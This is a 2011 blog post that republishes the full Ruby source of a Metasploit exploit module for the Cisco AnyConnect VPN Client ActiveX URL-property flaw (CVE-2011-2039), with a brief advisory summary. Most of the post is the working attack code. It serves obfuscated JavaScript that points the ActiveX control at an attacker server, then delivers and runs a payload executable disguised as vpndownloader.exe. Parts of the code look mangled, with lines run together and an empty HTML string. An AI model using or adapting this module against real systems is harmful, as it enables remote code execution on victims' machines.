Jul
7
2011

Cisco AnyConnect VPN Client ActiveX URL Property Download and Execute exploit

The Cisco AnyConnect Secure Mobility Client, previously known as the Cisco AnyConnect VPN Client, is affected by the following vulnerabilities:

  • Arbitrary Program Execution Vulnerability
  • Local Privilege Escalation Vulnerability

Cisco has released free software updates that address these vulnerabilities. There are no workarounds for this vulnerabilities.

Below the source of the exploit (Only for test!).

##
# $Id: cisco_anyconnect_exec.rb 12872 2011-06-06 20:15:51Z bannedit $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote     Rank = ExcellentRanking       include Msf::Exploit::Remote::HttpServer::HTML     include Msf::Exploit::EXE       def initialize(info = {})         super(update_info(info,             'Name'           => 'Cisco AnyConnect VPN Client ActiveX URL Property Download and Execute',
            'Description'    => %q{
                    This module exploits a vulnerability in the Cisco AnyConnect VPN client
                vpnweb.ocx ActiveX control. This control is typically used to install the
                VPN client. An attacker can set the 'url' property which is where the control
                tries to locate the files needed to install the client.

                    The control tries to download two files from the site specified within the
                'url' property. One of these files it will be stored in a temporary directory and
                executed.
                    },
            'License'        => MSF_LICENSE,
            'Author'         => [ 'bannedit' ],
            'Version'        => '$Revision: 12872 $',
            'References'     =>
                [
                    [ 'CVE', '2011-2039' ],
                    [ 'OSVDB', '72714'],
                    [ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=909' ],
                    [ 'URL', 'http://www.cisco.com/en/US/products/products_security_advisory09186a0080b80123.shtml'],
                ],
            'Platform'       => 'win',
            'Targets'        =>
                [
                    [ 'Automatic',
                            {
                                'Arch' => ARCH_X86
                            }
                    ],
                ],
            'DisclosureDate' => 'Jun 01 2011',
            'DefaultTarget'  => 0))

        register_options(
            [
                OptString.new('URIPATH', [ true, "The URI to use.", "/" ])
            ], self.class)
    end

    def on_request_uri(cli, request)

        if request.uri.match(/vpndownloader\.exe/)
            exe = generate_payload_exe({:code => payload.encoded})

            print_status("Client requested: #{request.uri}. Sending vpndownloader.exe")
            send_response(cli, exe, { 'Content-Type' => 'application/octet-stream' })
            select(nil, nil, nil, 5) # let the file download
            handler(cli)
            return
        end

        if request.uri.match(/updates\.txt/)
            print_status("Client requested: #{request.uri}. Sending updates.txt")
            updates = rand_text_alpha((rand(500) + 1)) + "\n" + rand_text_alpha((rand(500) + 1))
            send_response(cli, updates, { 'Content-Type' => 'text/plain' })
            return
        end

        url = get_uri(cli)

        dir = rand_text_alpha((rand(40) + 1))
        js = ::Rex::Exploitation::JSObfu.new %Q|
        var x = document.createElement("object");
        x.setAttribute("classid", "clsid:55963676-2F5E-4BAF-AC28-CF26AA587566");
        x.url = "#{url}/#{dir}/";
|
        js.obfuscate
        html = "\n\t\n" print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...") send_response_html(cli, html) end end

References:

Summary
Cisco AnyConnect VPN Client ActiveX URL Property Download and Execute exploit
Article Name
Cisco AnyConnect VPN Client ActiveX URL Property Download and Execute exploit
Description
The Cisco AnyConnect Secure Mobility Client, previously known as the Cisco AnyConnect VPN Client, is affected by the following vulnerabilities: Arbitrary Program Execution Vulnerability and Local Privilege Escalation Vulnerability.
Author